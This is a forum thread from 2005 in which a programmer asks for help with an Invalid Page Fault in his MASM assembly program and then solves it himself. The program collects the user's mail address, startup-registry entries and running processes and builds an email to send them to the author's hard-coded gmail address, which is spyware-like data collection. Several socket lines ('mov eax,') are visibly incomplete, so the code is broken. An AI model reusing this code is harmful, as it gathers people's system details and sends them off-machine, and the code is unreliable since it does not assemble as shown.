When my program runs the CompileProcessList proc in the source code posted below, it gives an Invalid Page Fault. Can't figure out why, though. Can anyone help? :)
Posted on 2005-10-27 22:03:45 by programinator
Post the snippet. As a rule of thumb, if want the majority of people who see your thread to help you find the bug, post the related snippet inside code tags. Do not expect people to bother themselves to download a ZIP, unzip it, look for the file, open the file, and look for the code.
Posted on 2005-10-27 22:17:49 by comrade
OK, here is the code:


COMMENT *
© Copyright 2005, Jeremy M
programinator@gmail.com
*

.386
.model flat, stdcall
option casemap:none

incboth macro incl
include E:\MASM32\INCLUDE\incl.inc
includelib E:\MASM32\LIB\incl.lib
endm
include E:\MASM32\INCLUDE\windows.inc
incboth kernel32
incboth user32
incboth comctl32
incboth advapi32
incboth wsock32
incboth masm32

addstr macro strng
LOCAL nustr
.data
nustr db strng, 0
.code
exitm <addr nustr>
endm

WinMain PROTO :DWORD, :DWORD, :DWORD, :DWORD
DlgProc PROTO :DWORD, :DWORD, :DWORD, :DWORD
CompileEmail PROTO
CompileEmailHeader PROTO
CompileStartupList PROTO
CompileProcessList PROTO
CompileEmailFooter PROTO
SendEmail PROTO

.const
IDC_GO equ 10
IDC_EXIT equ 11
IDC_STATUS equ 12
IDC_PROG equ 13

.data
AppName db "ProjectDA", 0

ServerName db "pop.ihug.co.nz", 0

MailFromRegKey db "Software\Microsoft\Internet Account Manager\Accounts\00000001", 0
MailFromRegValue db "SMTP Email Address", 0
MailFrom db "MAIL FROM: <%s>", 13, 10, 0
RcptTo db "RCPT TO: <programinator@gmail.com>", 13, 10, 0
Data db "DATA", 13, 10, 0
Quit db "QUIT", 13, 10, 0
EmailHeader db 'Date: %s, %d %s %d %02d:%02d:%02d GMT', 13, 10
            db 'From: <%s>', 13, 10
            db 'To: <programinator@gmail.com>', 13, 10
            db 'Subject: Auto data from ProjectDA', 13, 10
            db 'X-Mailer: ProjectDA', 13, 10
            db 'MIME-Version: 1.0', 13, 10
            db 'Content-Type: multipart/mixed; boundary=MAIL_Boundary12345', 13, 10
            db 13, 10
            db 'This is a multipart message in MIME format.', 13, 10
            db 13, 10
            db '--MAIL_Boundary12345', 13, 10
            db 'Content-Type: text/html', 13, 10
            db 13, 10
            db '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">', 13, 10
            db '<html>', 13, 10
            db '<body>', 13, 10, 0
EmailFooter db '</body>', 13, 10
            db '</html>', 13, 10
            db 13, 10
            db '--MAIL_Boundary12345', 13, 10
            db '.', 13, 10, 0
StartupListRegKey db "Software\Microsoft\Windows\CurrentVersion\Run", 0
StartupListHeader db '<table style="width: 100%; border: 1px dotted #007fff;">', 13, 10
                  db '<tr> <td colspan="2"><b>Startup List:</b></td> </tr>', 13, 10
                  db '<tr> <td><b>Name</b></td> <td><b>File</b></td> </tr>', 13, 10, 0
StartupListFormat db '<tr> <td>%s</td> <td>%s</td> </tr>', 13, 10, 0
StartupListFooter db '</table>', 13, 10, 0
ProcessListHeader db '<table style="width: 100%; border: 1px dotted #ff7f00;">', 13, 10
                  db '<tr> <td><b>Process List:</b></td> </tr>', 13, 10
                  db '<tr> <td><b>File</b></td> </tr>', 13, 10, 0
ProcessListFormat db '<tr> <td>%s</td> </tr>', 13, 10, 0
ProcessListFooter db '</table>', 13, 10, 0
months db "Jan", 0, "Feb", 0, "Mar", 0, "Apr", 0, "May", 0, "Jun", 0
       db "Jul", 0, "Aug", 0, "Sep", 0, "Oct", 0, "Nov", 0, "Dec", 0
days db "Sun", 0, "Mon", 0, "Tue", 0, "Wed", 0
     db "Thu", 0, "Fri", 0, "Sat", 0

.data?
hInstance dd ?
CommandLine dd ?

Buffer db 1024 dup (?)
Buffer2 db 1024 dup (?)
RegKeyBuffer db 512 dup (?)
RegValueBuffer db 256 dup (?)
MailFromBuffer db 256 dup (?)
BufferSize dd ?
LogFile db 10000 dup (?)
DayOfWeek dd ?
Day dd ?
Month dd ?
Year dd ?
Hours dd ?
Minutes dd ?
Seconds dd ?
hFrom dd ?
hRun dd ?
dwIndex dd ?
hProc dd ?
pe32 PROCESSENTRY32 <?>

.code
start:
invoke GetModuleHandle, 0
mov hInstance, eax
invoke GetCommandLine
mov CommandLine, eax
invoke WinMain, hInstance, 0, eax, SW_SHOWDEFAULT
invoke ExitProcess, 0
invoke InitCommonControls

WinMain proc hInst, hPrevInst, CmdLine, CmdShow

invoke DialogBoxParam, hInst, 1, 0, ADDR DlgProc, 0
ret

WinMain endp

DlgProc proc hDlg:HWND, iMsg:UINT, wParam:WPARAM, lParam:LPARAM

LOCAL hProg:DWORD
.if iMsg==WM_INITDIALOG
invoke GetDlgItem, hDlg, IDC_PROG
mov hProg, eax
invoke SendMessage, hProg, PBM_SETBARCOLOR, 0, 0ff7f00h
.elseif iMsg==WM_COMMAND
mov eax, wParam
mov edx, wParam
shr edx, 16
.if lParam!=0
.if ax==IDC_GO
.if dx==BN_CLICKED
invoke CompileEmail
;invoke SendEmail
invoke MessageBox, hDlg, ADDR LogFile, ADDR AppName, 0
.endif
.elseif ax==IDC_EXIT
.if dx==BN_CLICKED
invoke DestroyWindow, hDlg
.endif
.endif
.endif
.elseif iMsg==WM_CLOSE
invoke EndDialog, hDlg, 0
.else
xor eax, eax
ret
.endif
mov eax, 1
ret

DlgProc endp

COMMENT *
CompileAndSend proc

invoke WSAStartup, 101h, ADDR wsadata
invoke socket, AF_INET, SOCK_STREAM, 0
mov hSock, eax
mov sin.sin_family, AF_INET
invoke htons, 25
mov sin.sin_port, ax
invoke gethostbyname, ADDR ServerName
mov eax,
mov eax,
mov eax,
mov sin.sin_addr, eax
invoke connect, hSock, ADDR sin, SIZEOF sin
invoke send, hSock, ADDR MailFrom, SIZEOF MailFrom-1, 0
invoke recv, hSock, ADDR Buffer, 768, 0
invoke send, hSock, ADDR RcptTo, SIZEOF RcptTo-1, 0
invoke recv, hSock, ADDR Buffer, 768, 0
invoke send, hSock, ADDR Data, SIZEOF Data-1, 0
invoke recv, hSock, ADDR Buffer, 768, 0
invoke lstrcpy, ADDR LogFile, ADDR EMailHeader
invoke GetStartupList
invoke lstrcat, ADDR LogFile, ADDR EMailFooter
invoke lstrlen, ADDR LogFile
invoke send, hSock, ADDR LogFile, eax, 0
invoke recv, hSock, ADDR Buffer, 768, 0
invoke send, hSock, ADDR Quit, SIZEOF Quit-1, 0
invoke recv, hSock, ADDR Buffer, 768, 0
invoke closesocket, hSock
invoke WSACleanup
ret

CompileAndSend endp
*

COMMENT *
GetStartupList proc

invoke lstrcat, ADDR LogFile, ADDR LogStartupList
invoke RegOpenKey, HKEY_LOCAL_MACHINE, addstr("Software\Microsoft\Windows\CurrentVersion\Run"), ADDR hRun
invoke RegQueryInfoKey, hRun, 0, 0, 0, 0, 0, 0, ADDR NumValues, 0, 0, 0, 0
mov eax, NumValues
shl eax, 16
invoke SendMessage, hProg, PBM_SETRANGE, 0, eax
mov dwIndex, 0
.while TRUE
mov BufferSize, 256
invoke RegEnumValue, hRun, dwIndex, ADDR Buffer, ADDR BufferSize, 0, 0, 0, 0
.if eax==ERROR_SUCCESS
mov BufferSize, 256
invoke RegQueryValueEx, hRun, ADDR Buffer, 0, 0, ADDR Buffer2, ADDR BufferSize
invoke wsprintf, ADDR Buffer3, ADDR LogStartupListFmt, ADDR Buffer, ADDR Buffer2
invoke lstrcat, ADDR LogFile, ADDR Buffer3
.else
.break
.endif
inc dwIndex
invoke SendMessage, hProg, PBM_STEPIT, 0, 0
.endw
invoke RegCloseKey, hRun
ret

GetStartupList endp
*

CompileEmail proc

invoke CompileEmailHeader
invoke CompileStartupList
invoke CompileProcessList
invoke CompileEmailFooter
ret

CompileEmail endp

CompileEmailHeader proc

LOCAL systime:SYSTEMTIME
invoke GetLocalTime, ADDR systime
movzx eax, systime.wDayOfWeek
shl eax, 2
add eax, OFFSET days
mov DayOfWeek, eax
movzx eax, systime.wDay
mov Day, eax
movzx eax, systime.wMonth
dec eax
shl eax, 2
add eax, OFFSET months
mov Month, eax
movzx eax, systime.wYear
mov Year, eax
movzx eax, systime.wHour
mov Hours, eax
movzx eax, systime.wMinute
mov Minutes, eax
movzx eax, systime.wSecond
mov Seconds, eax
invoke RegOpenKey, HKEY_CURRENT_USER, ADDR MailFromRegKey, ADDR hFrom
mov BufferSize, 256
invoke RegQueryValueEx, hFrom, ADDR MailFromRegValue, 0, 0, ADDR MailFromBuffer, ADDR BufferSize
invoke RegCloseKey, hFrom
invoke wsprintf, ADDR LogFile, ADDR EmailHeader, DayOfWeek, Day, Month, Year, Hours, Minutes, Seconds, ADDR MailFromBuffer
ret

CompileEmailHeader endp

CompileStartupList proc

invoke lstrcat, ADDR LogFile, ADDR StartupListHeader
invoke RegOpenKey, HKEY_LOCAL_MACHINE, ADDR StartupListRegKey, ADDR hRun
mov dwIndex, 0
.while TRUE
mov BufferSize, 512
invoke RegEnumValue, hRun, dwIndex, ADDR RegKeyBuffer, ADDR BufferSize, 0, 0, 0, 0
.if eax==ERROR_SUCCESS
    mov BufferSize, 256
invoke RegQueryValueEx, hRun, ADDR RegKeyBuffer, 0, 0, ADDR RegValueBuffer, ADDR BufferSize
invoke wsprintf, ADDR Buffer, ADDR StartupListFormat, ADDR RegKeyBuffer, ADDR RegValueBuffer
invoke lstrcat, ADDR LogFile, ADDR Buffer
.else
.break
.endif
inc dwIndex
.endw
invoke RegCloseKey, hRun
invoke lstrcat, ADDR LogFile, ADDR StartupListFooter
ret

CompileStartupList endp

CompileProcessList proc

invoke lstrcat, ADDR LogFile, ADDR ProcessListHeader
invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0
mov hProc, eax
mov pe32.dwSize, SIZEOF pe32
invoke Process32First, hProc, ADDR pe32
invoke wsprintf, ADDR Buffer, ADDR ProcessListFormat, pe32.szExeFile
invoke lstrcat, ADDR LogFile, ADDR Buffer
.while TRUE
invoke Process32Next, hProc, ADDR pe32
.if eax!=0
invoke wsprintf, ADDR Buffer, ADDR ProcessListFormat, pe32.szExeFile
invoke lstrcat, ADDR LogFile, ADDR Buffer
.else
.break
.endif
.endw
invoke CloseHandle, hProc
ret

CompileProcessList endp

CompileEmailFooter proc

invoke lstrcat, ADDR LogFile, ADDR EmailFooter
ret

CompileEmailFooter endp

SendEmail proc

LOCAL wsadata:WSADATA
LOCAL sin:sockaddr_in
LOCAL hSock:DWORD
invoke WSAStartup, 101h, ADDR wsadata
invoke socket, AF_INET, SOCK_STREAM, 0
mov hSock, eax
mov sin.sin_family, AF_INET
invoke htons, 25
mov sin.sin_port, ax
invoke gethostbyname, ADDR ServerName
mov eax,
mov eax,
mov eax,
mov sin.sin_addr, eax
invoke connect, hSock, ADDR sin, SIZEOF sin
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke wsprintf, ADDR Buffer, ADDR MailFrom, ADDR MailFromBuffer
invoke lstrlen, ADDR Buffer
invoke send, hSock, ADDR Buffer, eax, 0
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke send, hSock, ADDR RcptTo, SIZEOF RcptTo-1, 0
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke send, hSock, ADDR Data, SIZEOF Data-1, 0
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke lstrlen, ADDR LogFile
invoke send, hSock, ADDR LogFile, eax, 0
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke send, hSock, ADDR Quit, SIZEOF Quit-1, 0
invoke recv, hSock, ADDR Buffer, 1024, 0
invoke closesocket, hSock
invoke WSACleanup
ret

SendEmail endp

end start


Posted on 2005-10-27 22:23:00 by programinator
Nevermind, I just figured out the problem. In a PROCESSENTRY32 structure, szExeFile is a string, not a pointer to a string. That explains the Invalid Page Fault.
Posted on 2005-10-28 03:38:25 by programinator